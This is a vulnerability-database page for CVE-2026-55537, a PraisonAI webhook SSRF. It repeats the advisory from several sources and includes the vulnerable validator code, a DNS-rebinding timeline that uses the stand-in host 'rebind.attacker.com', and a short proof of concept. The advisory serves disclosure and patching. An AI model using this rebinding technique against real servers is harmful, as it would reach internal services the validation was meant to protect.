Every CVE Search/ Get API key

CVE-2026-55537

PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

7.1 HighFix available

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, JobSubmitRequest.validate_webhook_url() accepts webhook_url when resolution raises socket.gaierror because the exception path uses except socket.gaierror: pass. JobExecutor._send_webhook() later performs a fresh lookup, allowing DNS changes to direct the request to an internal service. This issue is fixed in version 4.6.58.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.27%Up 0.1 points since Aug 26, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, JobSubmitRequest.validate_webhook_url() accepts webhook_url when resolution raises socket.gaierror because the exception path uses except socket.gaierror: pass. JobExecutor._send_webhook() later performs a fresh lookup, allowing DNS changes to direct the request to an internal service. This issue is fixed in version 4.6.58.

Record
CVE-2026-55537
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-367, CWE-705, CWE-918
Updated
2026-11-02
EUVDEUVD-2026-65515 7.1

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, JobSubmitRequest.validate_webhook_url() accepts webhook_url when resolution raises socket.gaierror because the exception path uses except socket.gaierror: pass. JobExecutor._send_webhook() later performs a fresh lookup, allowing DNS changes to direct the request to an internal service. This issue is fixed in version 4.6.58.

Record
EUVD-2026-65515
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-rg5q-pp8p-f7jm 7.1

PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

Summary

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can:

  1. Submit a job with webhook_url pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror → pass)
  2. Update DNS to point that hostname to 127.0.0.1 or another private IP
  3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent to the internal IP

Details

Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):

@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass    # <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):

async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,      # <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 — Confirm fail-open behaviour (local code verification):

from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket

# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
    # No exception raised — URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

**Step 2 — Confirm fresh DNS at execution…

Record
GHSA-rg5q-pp8p-f7jm
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-367, CWE-705, CWE-918
Updated
2026-11-02
NVD 7.1

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, JobSubmitRequest.validate_webhook_url() accepts webhook_url when resolution raises socket.gaierror because the exception path uses except socket.gaierror: pass. JobExecutor._send_webhook() later performs a fresh lookup, allowing DNS changes to direct the request to an internal service. This issue is fixed in version 4.6.58.

Record
CVE-2026-55537
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-367, CWE-705, CWE-918
Updated
2026-11-02
OSV 7.1

PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, JobSubmitRequest.validate_webhook_url() accepts webhook_url when resolution raises socket.gaierror because the exception path uses except socket.gaierror: pass. JobExecutor._send_webhook() later performs a fresh lookup, allowing DNS changes to direct the request to an internal service. This issue is fixed in version 4.6.58.

Record
CVE-2026-55537
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-367, CWE-705, CWE-918
Updated
2026-11-02
OSVGHSA-rg5q-pp8p-f7jm 7.1

PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

Summary

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can:

  1. Submit a job with webhook_url pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror → pass)
  2. Update DNS to point that hostname to 127.0.0.1 or another private IP
  3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent to the internal IP

Details

Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):

@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass    # <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):

async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,      # <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 — Confirm fail-open behaviour (local code verification):

from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket

# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
    # No exception raised — URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

**Step 2 — Confirm fresh DNS at execution…

Record
GHSA-rg5q-pp8p-f7jm
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-367, CWE-705, CWE-918
Updated
2026-11-02
OSVPYSEC-2026-3895 7.1

PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

Summary

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can:

  1. Submit a job with webhook_url pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror → pass)
  2. Update DNS to point that hostname to 127.0.0.1 or another private IP
  3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent to the internal IP

Details

Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):

@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass    # <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):

async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,      # <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 — Confirm fail-open behaviour (local code verification):

from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket

# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
    # No exception raised — URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

**Step 2 — Confirm fresh DNS at execution…

Record
PYSEC-2026-3895
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
praisonai
PyPI
before 4.6.58
4.6.58
praisonai
PyPI
before 4.6.58, plus listed versions
0.0.10.0.100.0.110.0.120.0.13
Show 45 moreShow less
0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.520.0.530.0.540.0.55
4.6.58

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55537 is a high vulnerability (CVSS 7.1) in Mervinpraison Praisonai, published August 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 18th percentile. Fixed in praisonai 4.6.58.

References

This page doesn't list everything

Left out here: 698 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open